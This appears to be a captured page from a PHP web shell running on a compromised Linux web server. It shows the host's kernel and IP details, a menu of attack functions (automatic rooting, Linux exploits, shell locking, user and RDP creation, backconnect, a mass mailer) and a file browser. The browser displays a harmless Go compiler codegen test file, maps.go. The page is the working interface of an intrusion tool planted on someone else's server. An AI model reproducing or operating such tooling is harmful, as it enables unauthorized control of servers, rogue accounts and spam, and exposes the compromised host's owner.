Linux 120.141.167.72.host.secureserver.net 4.18.0-553.150.1.el8_10.x86_64 #1 SMP Fri Jul 31 15:23:31 EDT 2026 x86_64
Apache
: 72.167.141.120 | : 216.73.217.14
808 Domain
7.4.33
bestseocompany
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
test /
codegen /
[ HOME SHELL ]
Name
Size
Permission
Action
README
5.21
KB
-rw-r--r--
addrcalc.go
324
B
-rw-r--r--
alloc.go
902
B
-rw-r--r--
arithmetic.go
15.2
KB
-rw-r--r--
atomics.go
728
B
-rw-r--r--
bitfield.go
9.64
KB
-rw-r--r--
bits.go
7.83
KB
-rw-r--r--
bmi.go
4.21
KB
-rw-r--r--
bool.go
6.73
KB
-rw-r--r--
clobberdead.go
1.31
KB
-rw-r--r--
clobberdeadreg.go
1.29
KB
-rw-r--r--
compare_and_branch.go
4.5
KB
-rw-r--r--
comparisons.go
15.24
KB
-rw-r--r--
condmove.go
6.24
KB
-rw-r--r--
constants.go
1.11
KB
-rw-r--r--
copy.go
3.14
KB
-rw-r--r--
floats.go
4.89
KB
-rw-r--r--
fuse.go
4.79
KB
-rw-r--r--
ifaces.go
621
B
-rw-r--r--
issue22703.go
5.43
KB
-rw-r--r--
issue25378.go
445
B
-rw-r--r--
issue31618.go
504
B
-rw-r--r--
issue33580.go
459
B
-rw-r--r--
issue38554.go
355
B
-rw-r--r--
issue42610.go
623
B
-rw-r--r--
issue48054.go
464
B
-rw-r--r--
issue52635.go
816
B
-rw-r--r--
issue54467.go
949
B
-rw-r--r--
issue56440.go
689
B
-rw-r--r--
issue58166.go
554
B
-rw-r--r--
issue60324.go
805
B
-rw-r--r--
issue60673.go
360
B
-rw-r--r--
issue61356.go
1.1
KB
-rw-r--r--
issue63332.go
264
B
-rw-r--r--
issue66585.go
336
B
-rw-r--r--
logic.go
1.06
KB
-rw-r--r--
mapaccess.go
9.11
KB
-rw-r--r--
maps.go
3.64
KB
-rw-r--r--
math.go
6.25
KB
-rw-r--r--
mathbits.go
19.6
KB
-rw-r--r--
memcombine.go
29.66
KB
-rw-r--r--
memops.go
12.48
KB
-rw-r--r--
memops_bigoffset.go
2.5
KB
-rw-r--r--
noextend.go
5.39
KB
-rw-r--r--
race.go
651
B
-rw-r--r--
regabi_regalloc.go
494
B
-rw-r--r--
retpoline.go
580
B
-rw-r--r--
rotate.go
5.99
KB
-rw-r--r--
select.go
373
B
-rw-r--r--
shift.go
12.72
KB
-rw-r--r--
shortcircuit.go
368
B
-rw-r--r--
slices.go
9.81
KB
-rw-r--r--
smallintiface.go
500
B
-rw-r--r--
spectre.go
734
B
-rw-r--r--
stack.go
3.36
KB
-rw-r--r--
strings.go
2.4
KB
-rw-r--r--
structs.go
923
B
-rw-r--r--
switch.go
3.6
KB
-rw-r--r--
writebarrier.go
1.5
KB
-rw-r--r--
zerosize.go
650
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : maps.go
// asmcheck // Copyright 2018 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package codegen // This file contains code generation tests related to the handling of // map types. // ------------------- // // Access Const // // ------------------- // // Direct use of constants in fast map access calls (Issue #19015). func AccessInt1(m map[int]int) int { // amd64:"MOV[LQ]\t[$]5" return m[5] } func AccessInt2(m map[int]int) bool { // amd64:"MOV[LQ]\t[$]5" _, ok := m[5] return ok } func AccessString1(m map[string]int) int { // amd64:`.*"abc"` return m["abc"] } func AccessString2(m map[string]int) bool { // amd64:`.*"abc"` _, ok := m["abc"] return ok } // ------------------- // // String Conversion // // ------------------- // func LookupStringConversionSimple(m map[string]int, bytes []byte) int { // amd64:-`.*runtime\.slicebytetostring\(` return m[string(bytes)] } func LookupStringConversionStructLit(m map[struct{ string }]int, bytes []byte) int { // amd64:-`.*runtime\.slicebytetostring\(` return m[struct{ string }{string(bytes)}] } func LookupStringConversionArrayLit(m map[[2]string]int, bytes []byte) int { // amd64:-`.*runtime\.slicebytetostring\(` return m[[2]string{string(bytes), string(bytes)}] } func LookupStringConversionNestedLit(m map[[1]struct{ s [1]string }]int, bytes []byte) int { // amd64:-`.*runtime\.slicebytetostring\(` return m[[1]struct{ s [1]string }{struct{ s [1]string }{s: [1]string{string(bytes)}}}] } func LookupStringConversionKeyedArrayLit(m map[[2]string]int, bytes []byte) int { // amd64:-`.*runtime\.slicebytetostring\(` return m[[2]string{0: string(bytes)}] } // ------------------- // // Map Clear // // ------------------- // // Optimization of map clear idiom (Issue #20138). func MapClearReflexive(m map[int]int) { // amd64:`.*runtime\.mapclear` // amd64:-`.*runtime\.mapiterinit` for k := range m { delete(m, k) } } func MapClearIndirect(m map[int]int) { s := struct{ m map[int]int }{m: m} // amd64:`.*runtime\.mapclear` // amd64:-`.*runtime\.mapiterinit` for k := range s.m { delete(s.m, k) } } func MapClearPointer(m map[*byte]int) { // amd64:`.*runtime\.mapclear` // amd64:-`.*runtime\.mapiterinit` for k := range m { delete(m, k) } } func MapClearNotReflexive(m map[float64]int) { // amd64:`.*runtime\.mapiterinit` // amd64:-`.*runtime\.mapclear` for k := range m { delete(m, k) } } func MapClearInterface(m map[interface{}]int) { // amd64:`.*runtime\.mapiterinit` // amd64:-`.*runtime\.mapclear` for k := range m { delete(m, k) } } func MapClearSideEffect(m map[int]int) int { k := 0 // amd64:`.*runtime\.mapiterinit` // amd64:-`.*runtime\.mapclear` for k = range m { delete(m, k) } return k } func MapLiteralSizing(x int) (map[int]int, map[int]int) { // This is tested for internal/abi/maps.go:MapBucketCountBits={3,4,5} // amd64:"MOVL\t[$]33," m := map[int]int{ 0: 0, 1: 1, 2: 2, 3: 3, 4: 4, 5: 5, 6: 6, 7: 7, 8: 8, 9: 9, 10: 10, 11: 11, 12: 12, 13: 13, 14: 14, 15: 15, 16: 16, 17: 17, 18: 18, 19: 19, 20: 20, 21: 21, 22: 22, 23: 23, 24: 24, 25: 25, 26: 26, 27: 27, 28: 28, 29: 29, 30: 30, 31: 32, 32: 32, } // amd64:"MOVL\t[$]33," n := map[int]int{ 0: 0, 1: 1, 2: 2, 3: 3, 4: 4, 5: 5, 6: 6, 7: 7, 8: 8, 9: 9, 10: 10, 11: 11, 12: 12, 13: 13, 14: 14, 15: 15, 16: 16, 17: 17, 18: 18, 19: 19, 20: 20, 21: 21, 22: 22, 23: 23, 24: 24, 25: 25, 26: 26, 27: 27, 28: 28, 29: 29, 30: 30, 31: 32, 32: 32, } return m, n }
Close